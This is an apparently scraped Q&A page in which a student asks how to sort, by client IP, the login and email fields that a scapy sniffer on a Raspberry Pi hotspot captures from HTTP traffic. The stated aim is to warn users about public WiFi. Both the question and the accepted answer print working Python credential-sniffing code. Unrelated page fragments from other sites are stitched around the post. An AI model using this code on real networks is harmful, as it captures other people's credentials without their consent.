Storing credentials sent over network to file/db and categorize entries by IP of client using scapyForgot Login - PHP IssueDjango Name Groups Urls.pyMeteor.loginWithFacebook not storing email addressHow can I get more user information after allowing user sign up through Facebook in Django?Safari autocomplete does not recognize loginQWebEngineView - Javascript CallbackWooCommerce / Wordpress - automatically use the entire email as username?Extract email address from Google accountFirebase - How to find the name of other children using a child?How to authenticate Office365 users using OAuth2.0 where username is alias?

return tuple of uncopyable objects

When a land becomes a creature, is it untapped?

Is there ever any indication in the MCU as to how Spider-Man got his powers?

Jesus' words on the Jews

Automatically anti-predictably assemble an alliterative aria

What is the best way for a skeleton to impersonate human without using magic?

Find hamming distance between two Strings of equal length in Java

Determine the slope and write the Cartesian equation of the line.

Was this character’s old age look CGI or make-up?

Why was Thor doubtful about his worthiness to Mjolnir?

Why do I get two different answers when solving for arclength?

If current results hold, Man City would win PL title

What are the implications of the new alleged key recovery attack preprint on SIMON?

Missouri raptors have wild hairdos

Labeling matrices/rectangles and drawing Sigma inside rectangle

Does gravity affect the time evolution of a QM wave function?

Could there be a material that inverts the colours seen through it?

Do I need to say 'o`clock'?

Magento 2: How to get type columns of table in sql?

Are there any established rules for splitting books into parts, chapters, sections etc?

What information do scammers need to withdraw money from an account?

Is Germany still exporting arms to countries involved in Yemen?

What was the significance of Varys' little girl?

On studying Computer Science vs. Software Engineering to become a proficient coder



Storing credentials sent over network to file/db and categorize entries by IP of client using scapy


Forgot Login - PHP IssueDjango Name Groups Urls.pyMeteor.loginWithFacebook not storing email addressHow can I get more user information after allowing user sign up through Facebook in Django?Safari autocomplete does not recognize loginQWebEngineView - Javascript CallbackWooCommerce / Wordpress - automatically use the entire email as username?Extract email address from Google accountFirebase - How to find the name of other children using a child?How to authenticate Office365 users using OAuth2.0 where username is alias?






.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty height:90px;width:728px;box-sizing:border-box;








0















I need help with an issue in regards to a school project i'm doing. Setting up a Raspberry Pi as wireless access point running a captive portal where we want to warn users of dangers of using public WiFi. Goal is to sniff all email addresses entered over HTTP, and collect these in a file or db that differentiates between the clients for later extraction.



When the user is authenticated with an email-address, a python script running scapy extracts all packets on wlan1 (running the AP) that contain an email-address and stores these emails to a text file (this is working).



I want the sniffer to store all the emails going through, but I need to separate where the information is stored, so that email-addresses entered from client using IP 10.0.0.10 gets stored in one place, and all emails coming from client using IP 10.0.0.20 is stored separately. At the end of session I want to extract all emails entered by given IP, and email this list to them using the email-address they originally entered in the captive portal.



I'm not very comfortable with databases or PHP, and i'm not sure how I could solve this problem best. So any ideas or input would be greatly appreciated.



For now, the sniffer appends all email-addresses going over the interface into a single text-file called "creds.txt". Problem with this is that there is no way to know which client entered what value.



sniffer.py:



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)
if creds != None:
print(creds)
with open("creds.txt", 'a+') as uf:
uf.write(str(creds))
uf.write('n')
else:
pass

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


I want emails sniffed by different clients to be separated for later extraction based on some identifier of the client.
It does not have to be done within the python sniffer necessarily, but not sure how it could be done with html or javascript










share|improve this question
























  • If I were you, I’d make a txt file per IP (pkt[IP].src)

    – Cukic0d
    Mar 24 at 23:31











  • Any suggestion how I could make this? I'm thinking create a list for IP's. Append unique IP to this list. Create text files, based on the entries in IP_list. Append credentials to text file matching the client's IP.

    – Emil Sørbrøden
    Mar 26 at 15:08


















0















I need help with an issue in regards to a school project i'm doing. Setting up a Raspberry Pi as wireless access point running a captive portal where we want to warn users of dangers of using public WiFi. Goal is to sniff all email addresses entered over HTTP, and collect these in a file or db that differentiates between the clients for later extraction.



When the user is authenticated with an email-address, a python script running scapy extracts all packets on wlan1 (running the AP) that contain an email-address and stores these emails to a text file (this is working).



I want the sniffer to store all the emails going through, but I need to separate where the information is stored, so that email-addresses entered from client using IP 10.0.0.10 gets stored in one place, and all emails coming from client using IP 10.0.0.20 is stored separately. At the end of session I want to extract all emails entered by given IP, and email this list to them using the email-address they originally entered in the captive portal.



I'm not very comfortable with databases or PHP, and i'm not sure how I could solve this problem best. So any ideas or input would be greatly appreciated.



For now, the sniffer appends all email-addresses going over the interface into a single text-file called "creds.txt". Problem with this is that there is no way to know which client entered what value.



sniffer.py:



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)
if creds != None:
print(creds)
with open("creds.txt", 'a+') as uf:
uf.write(str(creds))
uf.write('n')
else:
pass

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


I want emails sniffed by different clients to be separated for later extraction based on some identifier of the client.
It does not have to be done within the python sniffer necessarily, but not sure how it could be done with html or javascript










share|improve this question
























  • If I were you, I’d make a txt file per IP (pkt[IP].src)

    – Cukic0d
    Mar 24 at 23:31











  • Any suggestion how I could make this? I'm thinking create a list for IP's. Append unique IP to this list. Create text files, based on the entries in IP_list. Append credentials to text file matching the client's IP.

    – Emil Sørbrøden
    Mar 26 at 15:08














0












0








0








I need help with an issue in regards to a school project i'm doing. Setting up a Raspberry Pi as wireless access point running a captive portal where we want to warn users of dangers of using public WiFi. Goal is to sniff all email addresses entered over HTTP, and collect these in a file or db that differentiates between the clients for later extraction.



When the user is authenticated with an email-address, a python script running scapy extracts all packets on wlan1 (running the AP) that contain an email-address and stores these emails to a text file (this is working).



I want the sniffer to store all the emails going through, but I need to separate where the information is stored, so that email-addresses entered from client using IP 10.0.0.10 gets stored in one place, and all emails coming from client using IP 10.0.0.20 is stored separately. At the end of session I want to extract all emails entered by given IP, and email this list to them using the email-address they originally entered in the captive portal.



I'm not very comfortable with databases or PHP, and i'm not sure how I could solve this problem best. So any ideas or input would be greatly appreciated.



For now, the sniffer appends all email-addresses going over the interface into a single text-file called "creds.txt". Problem with this is that there is no way to know which client entered what value.



sniffer.py:



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)
if creds != None:
print(creds)
with open("creds.txt", 'a+') as uf:
uf.write(str(creds))
uf.write('n')
else:
pass

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


I want emails sniffed by different clients to be separated for later extraction based on some identifier of the client.
It does not have to be done within the python sniffer necessarily, but not sure how it could be done with html or javascript










share|improve this question
















I need help with an issue in regards to a school project i'm doing. Setting up a Raspberry Pi as wireless access point running a captive portal where we want to warn users of dangers of using public WiFi. Goal is to sniff all email addresses entered over HTTP, and collect these in a file or db that differentiates between the clients for later extraction.



When the user is authenticated with an email-address, a python script running scapy extracts all packets on wlan1 (running the AP) that contain an email-address and stores these emails to a text file (this is working).



I want the sniffer to store all the emails going through, but I need to separate where the information is stored, so that email-addresses entered from client using IP 10.0.0.10 gets stored in one place, and all emails coming from client using IP 10.0.0.20 is stored separately. At the end of session I want to extract all emails entered by given IP, and email this list to them using the email-address they originally entered in the captive portal.



I'm not very comfortable with databases or PHP, and i'm not sure how I could solve this problem best. So any ideas or input would be greatly appreciated.



For now, the sniffer appends all email-addresses going over the interface into a single text-file called "creds.txt". Problem with this is that there is no way to know which client entered what value.



sniffer.py:



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)
if creds != None:
print(creds)
with open("creds.txt", 'a+') as uf:
uf.write(str(creds))
uf.write('n')
else:
pass

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


I want emails sniffed by different clients to be separated for later extraction based on some identifier of the client.
It does not have to be done within the python sniffer necessarily, but not sure how it could be done with html or javascript







javascript python html






share|improve this question















share|improve this question













share|improve this question




share|improve this question








edited Mar 26 at 14:11









Tigre-Bleu

358




358










asked Mar 23 at 13:22









Emil SørbrødenEmil Sørbrøden

84




84












  • If I were you, I’d make a txt file per IP (pkt[IP].src)

    – Cukic0d
    Mar 24 at 23:31











  • Any suggestion how I could make this? I'm thinking create a list for IP's. Append unique IP to this list. Create text files, based on the entries in IP_list. Append credentials to text file matching the client's IP.

    – Emil Sørbrøden
    Mar 26 at 15:08


















  • If I were you, I’d make a txt file per IP (pkt[IP].src)

    – Cukic0d
    Mar 24 at 23:31











  • Any suggestion how I could make this? I'm thinking create a list for IP's. Append unique IP to this list. Create text files, based on the entries in IP_list. Append credentials to text file matching the client's IP.

    – Emil Sørbrøden
    Mar 26 at 15:08

















If I were you, I’d make a txt file per IP (pkt[IP].src)

– Cukic0d
Mar 24 at 23:31





If I were you, I’d make a txt file per IP (pkt[IP].src)

– Cukic0d
Mar 24 at 23:31













Any suggestion how I could make this? I'm thinking create a list for IP's. Append unique IP to this list. Create text files, based on the entries in IP_list. Append credentials to text file matching the client's IP.

– Emil Sørbrøden
Mar 26 at 15:08






Any suggestion how I could make this? I'm thinking create a list for IP's. Append unique IP to this list. Create text files, based on the entries in IP_list. Append credentials to text file matching the client's IP.

– Emil Sørbrøden
Mar 26 at 15:08













1 Answer
1






active

oldest

votes


















1














What is the number of users that you want to handle?



I assume that you also send the mail with the same python code.



If the number of users is not too much and that all data fits into RAM (which is quite small on a Raspberry Pi), I would take the simple road and create a dictionnary with the client identifier as a key.



As suggested by @Cukic0d, you could take the source IP as the identifier. It would have a structure like this:




"1.2.3.4": ["john1@doe.com", "john2@doe.com", "toto@tata.net"],
"10.12.43.34": ["test1@doe.com", "hey@jude.com", "spam@me.net"],



The modified code (not tested):



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
global harvested_credentials

if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)

ip_src = pkt[IP].src # Identifier
if creds != None:
print(creds)

# If IP Src is new, we create the item
if ip_src not in harvested_credentials:
harvested_credentials[ip_src] = []

# Adding the credentials for this identifier
harvested_credentials[ip_src].append(creds)
else:
pass

# The dictionary to store harvested credentials
harvested_credentials =

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


Then when it is mail sending time, you iterate over the list to build the email then you remove the dict key with del statement: del harvested_credentials[ip]



If ever you don't use the same code to generate the email than to harvest the email, you can save the dict as json file and import it in the sending code






share|improve this answer























  • This is exactly what I was looking for! Actually a better solution than what I initially had in mind. The amount of users will be limited so this will absolutely do the job with some minor changes. Thank you very much, appreciated!

    – Emil Sørbrøden
    Mar 26 at 17:16











Your Answer






StackExchange.ifUsing("editor", function ()
StackExchange.using("externalEditor", function ()
StackExchange.using("snippets", function ()
StackExchange.snippets.init();
);
);
, "code-snippets");

StackExchange.ready(function()
var channelOptions =
tags: "".split(" "),
id: "1"
;
initTagRenderer("".split(" "), "".split(" "), channelOptions);

StackExchange.using("externalEditor", function()
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled)
StackExchange.using("snippets", function()
createEditor();
);

else
createEditor();

);

function createEditor()
StackExchange.prepareEditor(
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader:
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
,
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
);



);













draft saved

draft discarded


















StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55314156%2fstoring-credentials-sent-over-network-to-file-db-and-categorize-entries-by-ip-of%23new-answer', 'question_page');

);

Post as a guest















Required, but never shown

























1 Answer
1






active

oldest

votes








1 Answer
1






active

oldest

votes









active

oldest

votes






active

oldest

votes









1














What is the number of users that you want to handle?



I assume that you also send the mail with the same python code.



If the number of users is not too much and that all data fits into RAM (which is quite small on a Raspberry Pi), I would take the simple road and create a dictionnary with the client identifier as a key.



As suggested by @Cukic0d, you could take the source IP as the identifier. It would have a structure like this:




"1.2.3.4": ["john1@doe.com", "john2@doe.com", "toto@tata.net"],
"10.12.43.34": ["test1@doe.com", "hey@jude.com", "spam@me.net"],



The modified code (not tested):



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
global harvested_credentials

if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)

ip_src = pkt[IP].src # Identifier
if creds != None:
print(creds)

# If IP Src is new, we create the item
if ip_src not in harvested_credentials:
harvested_credentials[ip_src] = []

# Adding the credentials for this identifier
harvested_credentials[ip_src].append(creds)
else:
pass

# The dictionary to store harvested credentials
harvested_credentials =

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


Then when it is mail sending time, you iterate over the list to build the email then you remove the dict key with del statement: del harvested_credentials[ip]



If ever you don't use the same code to generate the email than to harvest the email, you can save the dict as json file and import it in the sending code






share|improve this answer























  • This is exactly what I was looking for! Actually a better solution than what I initially had in mind. The amount of users will be limited so this will absolutely do the job with some minor changes. Thank you very much, appreciated!

    – Emil Sørbrøden
    Mar 26 at 17:16















1














What is the number of users that you want to handle?



I assume that you also send the mail with the same python code.



If the number of users is not too much and that all data fits into RAM (which is quite small on a Raspberry Pi), I would take the simple road and create a dictionnary with the client identifier as a key.



As suggested by @Cukic0d, you could take the source IP as the identifier. It would have a structure like this:




"1.2.3.4": ["john1@doe.com", "john2@doe.com", "toto@tata.net"],
"10.12.43.34": ["test1@doe.com", "hey@jude.com", "spam@me.net"],



The modified code (not tested):



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
global harvested_credentials

if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)

ip_src = pkt[IP].src # Identifier
if creds != None:
print(creds)

# If IP Src is new, we create the item
if ip_src not in harvested_credentials:
harvested_credentials[ip_src] = []

# Adding the credentials for this identifier
harvested_credentials[ip_src].append(creds)
else:
pass

# The dictionary to store harvested credentials
harvested_credentials =

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


Then when it is mail sending time, you iterate over the list to build the email then you remove the dict key with del statement: del harvested_credentials[ip]



If ever you don't use the same code to generate the email than to harvest the email, you can save the dict as json file and import it in the sending code






share|improve this answer























  • This is exactly what I was looking for! Actually a better solution than what I initially had in mind. The amount of users will be limited so this will absolutely do the job with some minor changes. Thank you very much, appreciated!

    – Emil Sørbrøden
    Mar 26 at 17:16













1












1








1







What is the number of users that you want to handle?



I assume that you also send the mail with the same python code.



If the number of users is not too much and that all data fits into RAM (which is quite small on a Raspberry Pi), I would take the simple road and create a dictionnary with the client identifier as a key.



As suggested by @Cukic0d, you could take the source IP as the identifier. It would have a structure like this:




"1.2.3.4": ["john1@doe.com", "john2@doe.com", "toto@tata.net"],
"10.12.43.34": ["test1@doe.com", "hey@jude.com", "spam@me.net"],



The modified code (not tested):



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
global harvested_credentials

if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)

ip_src = pkt[IP].src # Identifier
if creds != None:
print(creds)

# If IP Src is new, we create the item
if ip_src not in harvested_credentials:
harvested_credentials[ip_src] = []

# Adding the credentials for this identifier
harvested_credentials[ip_src].append(creds)
else:
pass

# The dictionary to store harvested credentials
harvested_credentials =

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


Then when it is mail sending time, you iterate over the list to build the email then you remove the dict key with del statement: del harvested_credentials[ip]



If ever you don't use the same code to generate the email than to harvest the email, you can save the dict as json file and import it in the sending code






share|improve this answer













What is the number of users that you want to handle?



I assume that you also send the mail with the same python code.



If the number of users is not too much and that all data fits into RAM (which is quite small on a Raspberry Pi), I would take the simple road and create a dictionnary with the client identifier as a key.



As suggested by @Cukic0d, you could take the source IP as the identifier. It would have a structure like this:




"1.2.3.4": ["john1@doe.com", "john2@doe.com", "toto@tata.net"],
"10.12.43.34": ["test1@doe.com", "hey@jude.com", "spam@me.net"],



The modified code (not tested):



from scapy.all import *
import re

def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]

for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()

if username != None:
return username

def ctp(pkt):
global harvested_credentials

if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)

ip_src = pkt[IP].src # Identifier
if creds != None:
print(creds)

# If IP Src is new, we create the item
if ip_src not in harvested_credentials:
harvested_credentials[ip_src] = []

# Adding the credentials for this identifier
harvested_credentials[ip_src].append(creds)
else:
pass

# The dictionary to store harvested credentials
harvested_credentials =

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface


Then when it is mail sending time, you iterate over the list to build the email then you remove the dict key with del statement: del harvested_credentials[ip]



If ever you don't use the same code to generate the email than to harvest the email, you can save the dict as json file and import it in the sending code







share|improve this answer












share|improve this answer



share|improve this answer










answered Mar 26 at 14:17









Tigre-BleuTigre-Bleu

358




358












  • This is exactly what I was looking for! Actually a better solution than what I initially had in mind. The amount of users will be limited so this will absolutely do the job with some minor changes. Thank you very much, appreciated!

    – Emil Sørbrøden
    Mar 26 at 17:16

















  • This is exactly what I was looking for! Actually a better solution than what I initially had in mind. The amount of users will be limited so this will absolutely do the job with some minor changes. Thank you very much, appreciated!

    – Emil Sørbrøden
    Mar 26 at 17:16
















This is exactly what I was looking for! Actually a better solution than what I initially had in mind. The amount of users will be limited so this will absolutely do the job with some minor changes. Thank you very much, appreciated!

– Emil Sørbrøden
Mar 26 at 17:16





This is exactly what I was looking for! Actually a better solution than what I initially had in mind. The amount of users will be limited so this will absolutely do the job with some minor changes. Thank you very much, appreciated!

– Emil Sørbrøden
Mar 26 at 17:16



















draft saved

draft discarded
















































Thanks for contributing an answer to Stack Overflow!


  • Please be sure to answer the question. Provide details and share your research!

But avoid


  • Asking for help, clarification, or responding to other answers.

  • Making statements based on opinion; back them up with references or personal experience.

To learn more, see our tips on writing great answers.




draft saved


draft discarded














StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55314156%2fstoring-credentials-sent-over-network-to-file-db-and-categorize-entries-by-ip-of%23new-answer', 'question_page');

);

Post as a guest















Required, but never shown





















































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown

































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown







Popular posts from this blog

Kamusi Yaliyomo Aina za kamusi | Muundo wa kamusi | Faida za kamusi | Dhima ya picha katika kamusi | Marejeo | Tazama pia | Viungo vya nje | UrambazajiKuhusu kamusiGo-SwahiliWiki-KamusiKamusi ya Kiswahili na Kiingerezakuihariri na kuongeza habari

SQL error code 1064 with creating Laravel foreign keysForeign key constraints: When to use ON UPDATE and ON DELETEDropping column with foreign key Laravel error: General error: 1025 Error on renameLaravel SQL Can't create tableLaravel Migration foreign key errorLaravel php artisan migrate:refresh giving a syntax errorSQLSTATE[42S01]: Base table or view already exists or Base table or view already exists: 1050 Tableerror in migrating laravel file to xampp serverSyntax error or access violation: 1064:syntax to use near 'unsigned not null, modelName varchar(191) not null, title varchar(191) not nLaravel cannot create new table field in mysqlLaravel 5.7:Last migration creates table but is not registered in the migration table

은진 송씨 목차 역사 본관 분파 인물 조선 왕실과의 인척 관계 집성촌 항렬자 인구 같이 보기 각주 둘러보기 메뉴은진 송씨세종실록 149권, 지리지 충청도 공주목 은진현